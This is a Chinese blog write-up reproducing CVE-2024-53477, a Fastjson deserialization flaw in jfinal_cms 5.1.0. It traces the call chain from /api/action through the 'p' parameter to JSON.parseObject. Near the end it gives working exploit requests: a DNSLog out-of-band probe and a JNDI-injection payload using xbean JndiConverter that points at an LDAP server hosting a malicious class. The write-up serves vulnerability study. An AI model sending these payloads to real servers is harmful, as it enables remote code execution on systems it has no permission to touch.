jfinal_cms-v5.1.0 白盒 nday CVE-2024-53477实验

张开发
2026/4/11 7:31:00 15 分钟阅读

分享文章

jfinal_cms-v5.1.0 白盒 nday CVE-2024-53477实验
0x1 CVE-2024-53477 ApiForm.java 文件存在反序列化漏洞豆包提示Java 反序列化ObjectInputStream.readObject()ObjectInputStream.readUnshared()XMLDecoder.readObject()XStream.fromXML()Yaml.load()ObjectMapper.readValue()JsonMapper.readValue()JSON.parseObject()← 本漏洞利用点JSON.parse()Gson.fromJson()Kryo.readObject()Kryo.readClassAndObject()JSON.parse()直接解析JSON字符串未指定目标类型可能触发自动类型识别autotype存在反序列化漏洞风险。JSON.parseObject()若未明确指定目标类或参数来自外部输入可能被利用。JSONObject.parse()同样可能触发类型自动识别。前言乱搜索,看着一个顺眼的。0x1 追链条翻车直接获取pprivate String apiNo; // 接口码 private Integer pageNo; // 页数 private Integer pageSize; // 页码 private String method; // 方法名 private String version; // 版本 private String apiUser; // 调用用户 private String time; // 时间戳 private String checkSum; // 校验和 private String p; // 参private JSONObject getParams() { JSONObject json null; try { String params ; //p可控 params this.p; boolean flag ConfigCache.getValueToBoolean(API.PARAM.ENCRYPT); if (flag) { params ApiUtils.decode(params); } //这里反序列化 //Object json JSON.parseObject(params); } catch (Exception e) { log.error(apiform json parse fail: p); return new JSONObject(); } return json; }追寻链3个触发一 一排查,只要有触发就可以0x1 get(String key)public String get(String key) { return getParams().getString(key); }0x2 getJSONArray(String key)public JSONArray getJSONArray(String key) { return getParams().getJSONArray(key); }0x3 getJSONObject(String key)public JSONObject getJSONObject(String key) { return getParams().getJSONObject(key); }这样找找到猴年马月都不知道触发点,所以得知己知彼ai启动1. get(String key)javapublic String get(String key) {return getParams().getString(key);}- 功能根据参数名 key 从请求参数中获取一个字符串类型的值。- 底层调用 getParams() 获取框架封装的参数容器再调用其 getString(key) 方法返回对应参数的字符串形式。- 场景获取普通表单字段、URL 查询参数等文本类参数比如用户名、邮箱、头像URL。2. getJSONArray(String key)javapublic JSONArray getJSONArray(String key) {return getParams().getJSONArray(key);}- 功能根据参数名 key 从请求参数中获取一个JSON数组类型的值。- 底层从参数容器中解析并返回 JSONArray 对象适合处理前端传来的数组格式 JSON 参数比如 ids: [1,2,3] 。- 场景接收前端提交的数组型 JSON 数据比如批量操作的ID列表、多选数据等。3. getJSONObject(String key)javapublic JSONObject getJSONObject(String key) {return getParams().getJSONObject(key);}- 功能根据参数名 key 从请求参数中获取一个JSON对象类型的值。- 底层从参数容器中解析并返回 JSONObject 对象适合处理前端传来的嵌套 JSON 参数比如 user: {name:xxx, age:20} 。- 场景接收前端提交的复杂 JSON 对象比如用户信息、业务数据实体等。不对入口处就有一个三元运算,调用了,我这不是蠢吗ControllerBind(controllerKey /api) Before(ApiInterceptor.class) public class ApiController extends BaseProjectController { ApiService service new ApiService(); /** * api测试入口 * * 2016年10月3日 下午5:47:55 flyfox 369191470qq.com */ public void index() { ApiForm from getForm(); renderJson(new ApiResp(from).addData(notice, api is ok!)); }public ApiResp addData(String key, Object value) { MapString, Object dataMap getData(); if (dataMap null) { dataMap new HashMapString, Object(); } dataMap.put(key, value); this.data.put(data, dataMap); return this; }public MapString, Object getData() { return this.data.get(data); }cc链/api--》addData(String key, Object value)--》 getData()--》get--》parseObject(params)0x2 看触发翻车也就是说只要/API路由就可以触发这一条链那我们就得看可控参数了由于nday知道了p可控那么我们该如何控制它呢从这里开始public void index() { //获取前端HTTP请求的参数 ApiForm from getForm(); //看前端HTTP请求的参数apino有没有值追加提示 renderJson(new ApiResp(from).addData(notice, api is ok!)); }ApiResppublic ApiResp(ApiForm from) { setFrom(from); }public ApiResp setFrom(ApiForm from) { if (from ! null) { this.apiNo from.getApiNo(); } return this; }前提是apiNo不为空public String getApiNo() { return apiNo; }getForm()public ApiForm getForm() { ApiForm form getBean(ApiForm.class, null); return form; }问aiJFinal的getBean把前端HTTP请求的参数自动封装到JavaBean里核心是请求参数自动注入和SpringMVC的Controller方法参数自动封装是同一个作用如// 接收前端以「model.xxx」为前缀的参数如model.title_url、model.userid封装到对应实体类 User user getBean(model, User.class); // 无参前缀直接匹配前端参数名与实体类属性名 User user getBean(User.class);Postgetjson都可以。renderJson​ public void renderJson(Object object) { //instanceof 是一种‌二元运算符‌主要用于‌运行时类型检查‌判断一个对象是否属于某个类、其子类或实现了某个接口。 //判断这个对象属不属于JsonRender //如果传进来的 object 本来就是 JsonRender那我就直接用它强转一下就行否则就把这个 object 包装成一个新的 JsonRender 返回 render object instanceof JsonRender ? (JsonRender)object : renderManager.getRenderFactory().getJsonRender(object); } ​/api--》addData(String key, Object value)--》 getData()--》get--》parseObject(params)addData(String key, Object value)前提是apiNo不为空追加0x3 断点翻车失败了看了半天都找错了这里没有触发点0x2 正确链看了一下别人写的找到了错误正入口偏了倒追出错了。version1.0.1apiNo1000000pageNo1pageSize1methodfolderstime20170314160401p{siteId:1}有正确的版本号才会触发流动入口//版本号拦截 Before(ApiInterceptor.class) public void action() { long start System.currentTimeMillis(); //这里可控 ApiForm from getForm(); //检查模板是否为空 if (StrUtils.isEmpty(from.getMethod())) { String method getPara(); from.setMethod(method); } // 调用接口方法 ApiResp resp service.action(from); // 没有数据输出空 resp resp null ? new ApiResp(from) : resp; // 调试日志 if (ApiUtils.DEBUG) { log.info(API DEBUG ACTION \n[from from ] // \n[resp JsonKit.toJson(resp) ] // \n[time (System.currentTimeMillis() - start) ms]); } renderJson(resp); }但是这时候我又不知道是怎么进入方法的了这怎么能忍调试器总是莫名其妙的步出get那肯定就是这里了但是有时我真的什么都不知道我没看答案我又该怎么找呢大多数都是用的倒追法但是我第1次翻车了我又该如何改进Alt F7Ctrl Alt H其实有个很笨的方法我可以在这些上面全都打上断点然后一步一步的找断掉的线索但是我之后去挖掘的时候真的可以这样吗public class ApiUtils { private static final MapString, IApiLogic map new HashMapString, IApiLogic(); /** * 调试日志 */ public static boolean DEBUG false; //首次加载这个类执行 static { addApi(1.0.0, new ApiV100Logic()); addApi(1.0.1, new ApiV101Logic()); }public ApiResp action(ApiForm form) { try { // if (methodList.contains(form.getMethod())) { // 登陆验证标识 boolean validFlag ConfigCache.getValueToBoolean(API.LOGIN.VALID); if (validFlag) { // 先进行登陆验证。如果验证失败直接返回错误 ApiResp validResp getApiLogic(form).valid(form); if (validResp.getCode() ! ApiConstant.CODE_SUCCESS) { return validResp; } } // 调用接口方法利用反射更简洁 ApiResp apiResp (ApiResp) ReflectionUtils.invokeMethod(getApiLogic(form), form.getMethod(), // new Class?[] { ApiForm.class }, new Object[] { form }); return apiResp; } return ApiUtils.getMethodError(form); } catch (Exception e) { log.error(action handler error, e); return ApiUtils.getMethodHandlerError(form); } }看了几篇文章才弄清楚不过我自己也快搞对了。如果再看几个调用应该就对了吧反思一下倒推的时候应该多看一下那些方法用了这个方法边调试边看看。链条action()--》action(ApiForm form)--》ApiUtils--》ApiV100Logic()--》getInt--》get--》parseObject(params)0x3 验证不对如果是刚刚没有触发为什么一开始进入的是这里所以我又看了一下别人的资料。最终action()--》action(ApiForm form)--》folders--》getInt--》get--》parseObject(params)public ApiResp action(ApiForm form) { try { // if (methodList.contains(form.getMethod())) { // 登陆验证标识 boolean validFlag ConfigCache.getValueToBoolean(API.LOGIN.VALID); if (validFlag) { // 先进行登陆验证。如果验证失败直接返回错误 ApiResp validResp getApiLogic(form).valid(form); if (validResp.getCode() ! ApiConstant.CODE_SUCCESS) { return validResp; } } // 调用接口方法利用反射更简洁 //当请求参数 methodfolders 时form.getMethod() 返回 folders就会调用 getApiLogic(form) 返回的实例如 ApiV100Logic中的 folders 方法并将 form 作为参数传入。 //getApiLogic(form)根据ApiLogic获取业务实例 //反射调用实例方法 ApiResp apiResp (ApiResp) ReflectionUtils.invokeMethod(getApiLogic(form), form.getMethod(), // new Class?[] { ApiForm.class }, new Object[] { form }); return apiResp; } return ApiUtils.getMethodError(form); } catch (Exception e) { log.error(action handler error, e); return ApiUtils.getMethodHandlerError(form); } } }0x4 触发public void action() { long start System.currentTimeMillis(); //可控 ApiForm from getForm(); if (StrUtils.isEmpty(from.getMethod())) { String method getPara(); from.setMethod(method); } // 调用接口方法 ApiResp resp service.action(from); // 没有数据输出空 resp resp null ? new ApiResp(from) : resp; // 调试日志 if (ApiUtils.DEBUG) { log.info(API DEBUG ACTION \n[from from ] // \n[resp JsonKit.toJson(resp) ] // \n[time (System.currentTimeMillis() - start) ms]); } renderJson(resp); }//form可控 public ApiResp action(ApiForm form) { try { // if (methodList.contains(form.getMethod())) { // 登陆验证标识 boolean validFlag ConfigCache.getValueToBoolean(API.LOGIN.VALID); if (validFlag) { // 先进行登陆验证。如果验证失败直接返回错误 ApiResp validResp getApiLogic(form).valid(form); if (validResp.getCode() ! ApiConstant.CODE_SUCCESS) { return validResp; } } // 调用接口方法利用反射更简洁 //// 调用接口方法利用反射更简洁 //当请求参数 methodfolders 时form.getMethod() 返回 folders就会调用 getApiLogic(form) 返回的实例如 ApiV100Logic中的 folders 方法并将 form 作为参数传入。 //getApiLogic(form)根据ApiLogic获取业务实例 //反射调用实例方法 //form.getMethod()通过modle获取方法名 //version获取类名 //new Class?[] { ApiForm.class }, new Object[] { form }限定传参 // new Object[] { form }from传入 //new Class?[] { ApiForm.class }类型 ApiResp apiResp (ApiResp) ReflectionUtils.invokeMethod(getApiLogic(form), form.getMethod(), // new Class?[] { ApiForm.class }, new Object[] { form }); //返回方法 return apiResp; }public String getMethod() { return method; }private String apiNo; // 接口码 private Integer pageNo; // 页数 private Integer pageSize; // 页码 private String method; // 方法名 private String version; // 版本 private String apiUser; // 调用用户 private String time; // 时间戳 private String checkSum; // 校验和 private String p; // 参数public IApiLogic getApiLogic(ApiForm form) { IApiLogic apiLogic ApiUtils.getApiLogic(form); return apiLogic; }public static IApiLogic getApiLogic(ApiForm form) { return map.get(form.getVersion()); }public String getVersion() { return version; }Override //from可控 public ApiResp folders(ApiForm form) { //获取siteId ListTbFolder list folderServer.getFolders(form.getInt(siteId)); return new ApiResp(form).addData(list, list); }//key可控 public int getInt(String key) { return NumberUtils.parseInt(get(key)); }//key可控 public String get(String key) { //方法调用 return getParams().getString(key); }//方法 private JSONObject getParams() { JSONObject json null; try { String params ; //可控 params this.p; //加密默认不加密 boolean flag ConfigCache.getValueToBoolean(API.PARAM.ENCRYPT); if (flag) { params ApiUtils.decode(params); } //反序列化 //你只需要给它一个 JSON 字符串比如 {siteId:1}它就会帮你把这个字符串变成一个 JSONObject 对象方便你后续通过 get(siteId) 取出值。 //p{siteId:1} json JSON.parseObject(params); } catch (Exception e) { log.error(apiform json parse fail: p); return new JSONObject(); } //返回 return json; }//静态方法 public static JSONObject parseObject(String text) { //把json解析成Java对象 Object obj parse(text); if (obj instanceof JSONObject) { return (JSONObject)obj; } else { try { return (JSONObject)toJSON(obj); } catch (RuntimeException e) { throw new JSONException(can not cast to JSONObject., e); } }0x5 文档文档和我研究的规律差不多。通过接口判断业务是否正常工作,看业务获取的数据是否正常.## 接口文档 ------------------------ * 接口方法扩展方便。只需要在接口IApiLogic中添加方法完善各个版本实现即可。 * 支持多版本并行。只需要实现接口IApiLogic集成上一个版本将需要修改的方法重写即可。 * 支持接口开关、黑名单、版本控制功能。 * 支持接口登陆验证以及验证开关。 * 系统管理-》参数配置中配置API.PARAM.ENCRYPT改为true加入参数加密 * 系统管理-》参数配置中配置API.LOGIN.VALID改为true加入登陆验证 * 系统管理-》用户管理中配置API账号密码类型选择API用户查看页面查看秘钥 ## 接口使用说明 ------------------------ * 公共请求参数 java String apiNo; // 接口码匹配输出输入 Integer pageNo; // 页数 Integer pageSize; // 页码 String method; // 方法名 String version; // 版本 String apiUser; // 调用用户 String time; // 时间戳年月日时分秒 String checkSum; // 校验和 String p; // 参数需要先base64加密再进行URL编码编码格式使用utf-8 加密URLEncoder.encode(Base64.encode(p),UTF-8); 解密URLDecoder.decode(Base64.decode(p),utf-8) * 参数说明及示例 1. 访问必须携带版本号 /api?version1.0.0 2. 以下两种访问方式效果相同建议使用第二种方法 /api/action?version1.0.1apiNo1000000pageNo1pageSize1methodpageArticleSitetime20170314160401p{siteId:1} 与 /api/action/pageArticleSite?version1.0.1apiNo1000000pageNo1pageSize1time20170314160401p{siteId:1} 3. 分页有默认值pageNo1,pageSize20 4. 登陆验证功能说明 1通过login接口进行登陆获取key。 2其他接口调用需要携带两个公共请求参数apiUser为用户名checkSum为登陆接口返回key。 3如果退出调用logout接口。 5. p为json参数携带我们接口想要的自定义参数。 p{siteId:1,test:ok} * 文档说明 暂无 ## 接口 ------------------------ #### 测试接口 * 接口说明测试 * 请求方式 **_GET/POST_** * 请求地址**_/api_** * 请求参数 无 * 示例 /api?version1.0.0 * 返回结果 json { data: { notice: api is ok! }, code: 0, msg: success } #### 调试接口 * 接口说明开关调试日志 * 请求方式 **_GET/POST_** * 请求地址**_/api/debug_** * 请求参数 无 * 示例 /api/debug?version1.0.0apiNo1000000time20170314160401 * 返回结果 json { data: { debug: true }, code: 0, msg: success } #### 登陆接口 * 接口说明获取配置信息 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/login_** * 请求参数 username:用户名 password:密码 * 示例 /api/action/login?version1.0.1apiNo1000000time20170314160401p{username:admin,password:123} * 返回结果 json { data: { key: oTkt }, code: 0, msg: success } #### 登出接口 * 接口说明获取配置信息 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/logout_** * 请求参数 无 * 示例 /api/action/logout?version1.0.1apiNo1000000time20170314160401apiUseradmincheckSumYBrs * 返回结果 json { data: { r: ok }, code: 0, msg: success } #### 配置接口 * 接口说明获取配置信息 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/config_** * 请求参数 无 * 示例 /api/action/config?version1.0.0apiNo1000000time20170314160401apiUseradmincheckSumYBrs * 返回结果 json { data: { test: ok }, code: 0, msg: success } #### 栏目列表接口 * 接口说明根据站点ID获取所有栏目 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/folders_** * 请求参数 version:1.0.0 版本号 p:{siteId:1} siteId:1 站点ID * 示例 /api/action/folders?version1.0.1apiNo1000000time20170314160401apiUseradmincheckSumYBrsp{siteId:2} * 返回结果 json { data: { list: [ { sort: 10, jump_url: null, status: 1, material_type: 102, site_id: 1, seo_title: FLY的狐狸, type: 1, content: null, id: 251, update_id: 1, seo_description: FLY的狐狸, update_time: 2016-04-07 01:13:40, create_id: 1, name: 首页, path: home/home.html, create_time: 2016-04-07 01:13:40, seo_keywords: FLY的狐狸, key: home, parent_id: 0 } ] }, code: 0, msg: success } #### 文章分页列表接口 * 接口说明根据站点ID获取所有文章 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/pageArticleSite_** * 请求参数 version:1.0.0 版本号 pageNo:1 分页页码 pageSize:20 分页大小 p:{siteId:1} siteId:1 站点ID * 示例 /api/action/pageArticleSite?version1.0.1apiNo1000000time20170314160401apiUseradmincheckSumYBrspageNo1pageSize20p{siteId:2} * 返回结果 json { data: { total: 5, list: [ { count_comment: 0, is_comment: 1, publish_user: 系统管理员, sort: 2, jump_url: http://mtg.jflyfox.com, status: 1, count_view: 1, type: 11, file_name: null, file_url: null, approve_status: 10, content: h3门头沟信息网/h3 p全面的生活、新闻、美食、旅游、教育资讯/p, id: 3276, folder_id: 251, title: 门头沟信息网, publish_time: 2016-04-07, update_time: 2016-04-07 01:17:15, create_id: 1, image_url: null, end_time: null, create_time: 2016-04-07 01:17:15, start_time: null, is_recommend: 2, image_net_url: http://i4.tietuku.cn/6979a4ded13e456e.jpg } ] }, code: 0, msg: success } #### 文章分页列表接口 * 接口说明根据栏目ID获取所有文章 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/pageArticle_** * 请求参数 version:1.0.0 版本号 pageNo:1 分页页码 pageSize:20 分页大小 p:{folderId:1} siteId:1 站点ID * 示例 /api/action/pageArticle?version1.0.1apiNo1000000time20170314160401apiUseradmincheckSumYBrspageNo1pageSize1p{folderId:2} * 返回结果 json { data: { total: 5, list: [ { count_comment: 0, is_comment: 1, publish_user: 系统管理员, sort: 2, jump_url: http://mtg.jflyfox.com, status: 1, count_view: 1, type: 11, file_name: null, file_url: null, approve_status: 10, content: h3门头沟信息网/h3 p全面的生活、新闻、美食、旅游、教育资讯/p, id: 3276, folder_id: 251, title: 门头沟信息网, publish_time: 2016-04-07, update_time: 2016-04-07 01:17:15, create_id: 1, image_url: null, end_time: null, create_time: 2016-04-07 01:17:15, start_time: null, is_recommend: 2, image_net_url: http://i4.tietuku.cn/6979a4ded13e456e.jpg } ] }, code: 0, msg: success } #### 文章接口 * 接口说明根据栏目ID获取所有文章 * 请求方式 **_GET/POST_** * 请求地址**_/api/action/article_** * 请求参数 version:1.0.0 版本号 pageNo:1 分页页码 pageSize:20 分页大小 p:{folderId:1} siteId:1 站点ID * 示例 /api/action/article?version1.0.1apiNo1000000time20170314160401apiUseradmincheckSumYBrsp{articleId:1} * 返回结果 json { data: { article: { count_comment: 123, publish_user: 系统管理员, is_comment: 1, sort: 1, jump_url: null, status: 2, count_view: 122, file_name: null, type: 12, approve_status: 10, file_url: null, id: 1, content: p门头沟/p, folder_id: 1, title: 门头沟, create_id: 1, update_time: 2015-01-28 17:29:55, publish_time: 2014-03-05, end_time: 2015-01-23, image_url: download/image_url/20150529_102007_298104.jpg, create_time: 2015-01-28, start_time: 2015-01-29, is_recommend: 1, image_net_url: null } }, code: 0, msg: success } 0x6 复现0x1 ‌Fastjson‌Fastjson‌是阿里巴巴开源的高性能 Java JSON 解析库主要用于 Java 对象与 JSON 字符串之间的‌序列化和反序列化‌操作广泛应用于缓存存储、RPC 通讯、Android 客户端等场景 。‌‌parseObject()是Fastjson的反序列化方法特征识别json JSON.parseObject(params);import com.alibaba.fastjson.JSON;0x2 版本介绍fastjson.version1.2.62/fastjson.version默认1.2.62 版本0x3 产生参考https://cloud.tencent.com/developer/article/1553664首先Fastjson提供了autotype功能允许用户在反序列化数据中通过“type”指定反序列化的类型其次Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法那么当组件开启了autotype功能并且反序列化不可信数据时攻击者可以构造数据使目标应用的代码执行流程进入特定类的特定setter或者getter方法中若指定类的指定方法中有可被恶意利用的逻辑也就是通常所指的“Gadget”则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中利用其缓存机制可实现对未开启autotype功能的绕过。1.2.62Fastjson1.2.62需要开启autotypehttps://blog.csdn.net/weixin_39929723/article/details/111818834https://cloud.tencent.com/developer/article/1593614Fastjson 内部维护了一个 IdentityHashMap存放了一批默认允许反序列化的类其中就包括· java.net.Inet4Address· java.net.Inet6Address· java.net.InetSocketAddress“指定反序列化类型” 是指在 JSON 数据中用 type 字段显式告诉 Fastjson“请把这段 JSON 变成 这个类 的对象”。0x4 pocval 是 Inet4Address 类的一个字段。当你给这个字段赋值一个字符串时Java 会尝试将这个字符串解析为 IP 地址。{zeo:{type:java.net.Inet4Address,val:aporo8.dnslog.cn}}完整poc带外https://www.freebuf.com/articles/web/418403.htmlaction?version1.0.1apiNo1000000pageNo1pageSize1methodfolderstime20170314160401p%7b%22%7a%65%6f%22%3a%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%68%68%74%34%6e%69%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d%7d验证成功0x5 恶意类前提条件需要开启AutoTypeFastjson 1.2.62JNDI注入利用所受的JDK版本限制目标服务端需要存在xbean-reflect包漏洞复现漏洞代码示例(后端package vul; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class PoC_1_2_62 { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc {\type\:\org.apache.xbean.propertyeditor.JndiConverter\,\AsText\:\ldap://localhost:1389/Exploit\}; JSON.parse(poc); } }参考文章https://www.anquanke.com/post/id/232774#h3-20恶意类服务器位置 ldap://localhost:1389/Exploitpocaction?version1.0.1apiNo1000000pageNo1pageSize1methodfolderstime20170314160401p{type:org.apache.xbean.propertyeditor.JndiConverter,AsText:ldap://localhost:1389/Exploit}0x7 深度分析目前能力比较有限以后再说吧。大佬的分析文章比较没时间只懂了一半以后再补写分析https://www.anquanke.com/post/id/232774#h3-20

更多文章